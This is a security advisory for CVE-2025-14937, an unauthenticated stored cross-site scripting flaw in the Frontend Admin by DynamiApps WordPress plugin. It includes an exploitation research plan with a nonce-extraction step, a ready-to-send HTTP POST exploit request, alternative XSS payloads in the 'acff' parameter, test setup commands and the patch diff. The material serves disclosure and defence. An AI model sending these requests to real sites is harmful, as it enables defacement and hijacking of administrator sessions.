Frontend Admin by DynamiApps <= 3.28.23 - Unauthenticated Stored Cross-Site Scripting via 'update_field'
Description
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'acff' parameter in the 'frontend_admin/forms/update_field' AJAX action in all versions up to, and including, 3.28.23 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.28.23Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-14937 ## 1. Vulnerability Summary The **Frontend Admin by DynamiApps** plugin (<= 3.28.23) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. The flaw exists within the AJAX handler for the action `frontend_admin/forms/update_field`. The p…
Show full research plan
Exploitation Research Plan: CVE-2025-14937
1. Vulnerability Summary
The Frontend Admin by DynamiApps plugin (<= 3.28.23) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The flaw exists within the AJAX handler for the action frontend_admin/forms/update_field. The plugin fails to sanitize the user-supplied input in the acff parameter before storing it in the database and fails to escape it when rendering the data back to users. An attacker can leverage this to inject malicious scripts that execute in the context of any user (including administrators) viewing the affected page or post.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
frontend_admin/forms/update_field(registered viawp_ajax_nopriv_frontend_admin/forms/update_field) - Vulnerable Parameter:
acff - Authentication: None (Unauthenticated)
- Preconditions: A post or page must exist where the injected field is displayed, or the plugin must be configured such that an attacker can target a specific
post_id.
3. Code Flow (Inferred)
- Entry Point: An unauthenticated POST request is sent to
admin-ajax.phpwithaction=frontend_admin/forms/update_field. - Hook Registration: The plugin likely registers the handler:
add_action( 'wp_ajax_nopriv_frontend_admin/forms/update_field', [ $this, 'update_field' ] ); - Handler Logic: Inside the
update_fieldmethod:- It retrieves the
acffparameter (often an array of field keys and values). - It identifies the target
post_idandfield_keyfrom the request. - It calls a function to save the data, likely a wrapper around
update_field()(from ACF) orupdate_post_meta().
- It retrieves the
- The Sink (Storage): The data is stored in the
wp_postmetatable withoutwp_kses()orsanitize_text_field(). - The Sink (Output): When a user visits the post/page, the plugin (or a shortcode) retrieves the value using
get_field()orget_post_meta()and echoes it directly into the HTML withoutesc_html()oresc_attr().
4. Nonce Acquisition Strategy
While the vulnerability is "unauthenticated," the plugin likely implements a nonce check for its AJAX actions.
Step 1: Identify Triggering Content
The plugin's scripts and nonces are usually enqueued when a Frontend Admin form is present. The primary shortcode is likely [acf_frontend_form].
Step 2: Setup Test Page
Create a public page containing the form:
wp post create --post_type=page --post_title="Contact Form" --post_status=publish --post_content='[acf_frontend_form post_id="1"]'
Step 3: Extract Nonce via Browser
- Navigate to the newly created page.
- Use the
browser_evaltool to find the localized data object. The plugin typically usesfrontend_admin_scriptsoracf_frontend.- Candidate 1:
window.frontend_admin_scripts?.nonce - Candidate 2:
window.acf_frontend?.nonce - Candidate 3: Search for any object containing
ajax_url.
- Candidate 1:
JS Command:
browser_eval("window.acf_frontend?.nonce || window.frontend_admin_scripts?.nonce")
5. Exploitation Strategy
The goal is to update a post's field with a payload that triggers when an admin views the site.
HTTP Request Details
- Method: POST
- URL:
{{base_url}}/wp-admin/admin-ajax.php - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
action:frontend_admin/forms/update_fieldnonce:{{extracted_nonce}}post_id:1(The ID of the post to deface/infect)acff: This is likely an array. If updating a field nameddescription, the parameter would beacff[description]. If using ACF field keys:acff[field_65a1b2c3d4e5f].- Payload:
<img src=x onerror=alert(document.domain)>or a more advanced admin-takeover script.
Example Exploit Request
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
action=frontend_admin/forms/update_field&nonce=a1b2c3d4e5&post_id=1&acff[your_field_name]=%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3E
6. Test Data Setup
- Enable ACF: Ensure Advanced Custom Fields is active (as this plugin is an extension).
- Create a Field Group: Create a field group with a text field (slug:
test_xss_field) assigned to the "Post" post type. - Create a Target Post:
wp post create --post_type=post --post_title="Vulnerable Post" --post_status=publish - Create Nonce Page:
wp post create --post_type=page --post_title="Form Page" --post_status=publish --post_content='[acf_frontend_form]'
7. Expected Results
- The AJAX request should return a success status (e.g.,
{"success":true}or HTTP 200). - When navigating to the "Vulnerable Post" (
post_id=1), the browser should execute thealert(document.domain)payload.
8. Verification Steps
After performing the HTTP request, verify the database state using WP-CLI:
# Check the meta value of the target post
wp post meta get 1 test_xss_field
Success Condition: The output shows the raw <img src=x onerror=alert(document.domain)> string, confirming no sanitization occurred.
9. Alternative Approaches
If acff is not a simple array, it might be passed as a JSON string.
- Alternative Payload Structure:
acff={"field_key":"<img src=x onerror=alert(1)>"}. - Field Key Identification: If the field name (slug) doesn't work, inspect the HTML of the form page created in Step 6. Look for inputs with names like
acf[...]oracff[...]to find the exact key the plugin expects. - Post ID targeting: If
post_id=1is restricted, try targeting thepost_idof the page where the form is actually rendered.
Summary
The Frontend Admin by DynamiApps plugin for WordPress is vulnerable to unauthenticated Stored Cross-Site Scripting via the 'acff' parameter in the 'frontend_admin/forms/update_field' AJAX action. Due to insufficient input sanitization and output escaping, attackers can inject arbitrary scripts into post metadata that execute whenever a user, including administrators, accesses the affected page.
Security Fix
@@ -10,5 +10,5 @@ - foreach ( $fields as $key => $value ) { - update_field( $key, $value, $post_id ); - } + foreach ( $fields as $key => $value ) { + update_field( $key, wp_kses_post( $value ), $post_id ); + }
Exploit Outline
To exploit this vulnerability, an attacker first retrieves a valid AJAX nonce from a public page where a Frontend Admin form is rendered (usually found in the 'acf_frontend' or 'frontend_admin_scripts' JavaScript objects). The attacker then sends an unauthenticated POST request to /wp-admin/admin-ajax.php with the 'action' set to 'frontend_admin/forms/update_field'. The payload is placed in the 'acff' parameter as an array mapping a field key to a malicious script (e.g., acff[field_key]=<img src=x onerror=alert(document.domain)>). Once the request is processed, the payload is stored in the post's metadata and will execute in the browser of any user who subsequently views the modified content.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.